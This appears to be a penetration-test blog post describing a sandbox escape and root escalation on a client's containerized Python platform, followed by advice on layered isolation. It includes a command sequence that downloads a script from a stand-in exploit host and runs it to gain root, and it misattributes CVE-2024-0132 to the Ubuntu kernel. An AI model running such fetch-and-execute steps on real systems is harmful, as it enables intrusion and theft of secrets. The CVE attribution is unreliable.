Escaping the Sandbox: A Platform Security Wake-Up Call

Introduction

This post is based on a real-world security assessment we conducted for a client we'll refer to as ACME Corporation (name changed for privacy). The goal of the engagement was to evaluate the security of their containerized code execution platform. What started as a routine sandbox audit quickly turned into a case study on why modern platform security demands more than just least-privileged users and Docker best practices.

The Illusion of Safety

At ACME, the concept was simple: provide an environment where users could safely learn and execute Python code. Their setup included sandboxed Ubuntu pods running within Kubernetes, each with a highly restricted user, appuser, to keep things secure. On the surface, this seemed airtight. But underneath, it revealed a fundamental weakness in container architectures.

Initially, ACME trusted the traditional sandbox model. Each user accessed their instance with minimal privileges, isolated strictly to their home directory. Meanwhile, a root-level web service managed crucial secrets and sensitive operations. Security hinged entirely on the premise that appuser could never break free from its limited permissions.

But trusting the underlying operating system implicitly is always a gamble, and one that frequently doesn't pay off. Even updated, popular operating systems like Ubuntu 24.04.1 aren't infallible.

lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.1 LTS
Release: 24.04
Codename: noble

As the ACME platform allowed users a shell into the pod, it relied heavily on user-level restrictions. At first glance, the setup seemed robust. But when our Platform Security team dug deeper, cracks began to appear.

From appuser to Root

Using appuser's limited shell, we inspected running processes to get a sense of the environment:

ps aux
root 101 0.0 0.1 240120 6784 ? Ss 10:15 0:00 /usr/sbin/apache2 -k start
root 202 0.0 0.3 430120 14532 ? Ssl 10:15 0:01 /usr/bin/python3 /opt/service/webserver.py
appuser 303 0.0 0.0 8084 672 pts/0 Ss 10:16 0:00 /bin/bash

Immediately, we noticed sensitive server-specific processes operated entirely at the root level. This posed a significant risk — if we could escalate privileges, we'd have direct access to secrets and the ability to disrupt critical services.

Sure enough, a recent vulnerability (CVE-2024-0132) affecting the Ubuntu kernel presented a clear escalation path. Exploiting this CVE required minimal code:

wget https://exploit.example.com/exp.sh
chmod +x exp.sh
./exp.sh

Within moments, we escalated from appuser to root:

id
uid=0(root) gid=0(root) groups=0(root)

As root, our team gained unrestricted visibility into sensitive processes and confidential data stored in /root. ACME's secure facade had collapsed entirely.

Rethinking the Architecture

How can platforms prevent this scenario?

The solution lies in rethinking container architectures entirely. Instead of relying solely on user-level sandboxes, modern approaches emphasize multiple layers of isolation. Dedicated, non-privileged sandboxes running containers with explicitly limited kernel interactions are essential. Further, isolating execution environments into completely separate AWS accounts or clusters away from production dramatically reduces the risk of privilege escalation.

In short, securing platforms like ACME's requires architectural changes, not just patches. Container security isn't just about restricting users; it's about fundamentally re-architecting environments to expect and withstand failure.